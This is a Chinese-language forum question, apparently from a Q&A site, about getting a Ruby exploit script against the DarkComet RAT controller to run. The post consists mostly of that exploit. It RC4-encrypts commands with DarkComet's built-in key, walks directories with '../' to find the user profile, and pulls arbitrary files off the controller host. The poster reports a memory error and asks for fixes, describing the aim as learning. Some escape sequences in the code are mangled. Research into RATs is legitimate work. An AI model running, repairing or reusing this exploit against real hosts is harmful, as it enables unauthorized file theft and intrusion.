我偶然发现了这篇好文章:http://matasano.com/research/PEST-CONTROL.pdf
这显示了RAT的一些逆向工程。
现在,第二个Exploit让我感兴趣,它是一个python脚本。找到另一个
require 'rc4'
require 'socket'
require 'hex_string'
require 'timeout'
class Util
def initialize (key__, socket__, h__, p__)
@key__ = key__
@socket__ = socket__
@h__ = h__
@p__ = p__
end
def cryptfordc(thing)
RC4.new(@key__).encrypt(thing).to_hex_string.upcase.gsub! ' ',''
end
def grabfile(name)
@xx=cryptfordc('QUICKUP133|%s|UPLOADEXEC' % name)
@socket__.write(@xx)
begin
timeout(3) do
@socket__.recvfrom(1024)
@socket__.recvfrom(1024)
end
rescue Timeout::Error
STDERR.write "Timeout; Or the file is not there.rn"
exit
end
@socket__.write('x00')
x=''
while 1
aa=@socket__.recvfrom(1000000)
if aa.nil? || aa.empty?
break
else
x=x+aa.join
begin
@socket__.write('x00')
rescue Errno::EPIPE
break
end
end
end
return x
end
def testt(path)
@utemp = cryptfordc('QUICKUP111|%s|UPLOADEXEC' % (path+'NTUSER.INI'))
@socket__.write(@utemp)
begin
timeout(3) do
@socket__.recvfrom(1024)
@socket__.recvfrom(1024)
end
rescue Timeout::Error
resetsock()
return false
end
return true
end
def resetsock
@socket__=TCPSocket.open(@h__,@p__)
@socket__.recvfrom(12)
end
def finduserprofile
@upath = "../"
while 1
if(testt(@upath) == false)
@upath=@upath+"../"
else
break
end
end
return @upath
end
end
h=String(ARGV[0])
p=Integer(ARGV[1])
s=TCPSocket.open(h,p)
s.recvfrom(1024)
uu=Util.new('#KCMDDC51#-890'+ARGV[2], s, h, p)
dd = uu.finduserprofile()
uu.resetsock()
STDERR.write dd+"rn"
STDOUT.write uu.grabfile('%s%s'% [dd, ARGV[3]])
它是Ruby。我已经修复了一些错误,现在我似乎无法设法运行它。我启动DarkComet客户端侦听端口1604,一切似乎都很好。我想这段代码缺少一部分...初始连接?
做了一些分析但仍然无法实现。
我得到的错误是:
../rndc.rb:31:in `recvfrom': failed to allocate memory (NoMemoryError)
from dc.rb:31:in `grabfile'
from dc.rb:85:in `<main>'
怎么办?任何帮助表示赞赏。 这样做的目的是学习。我想实际看到它并进一步分析它!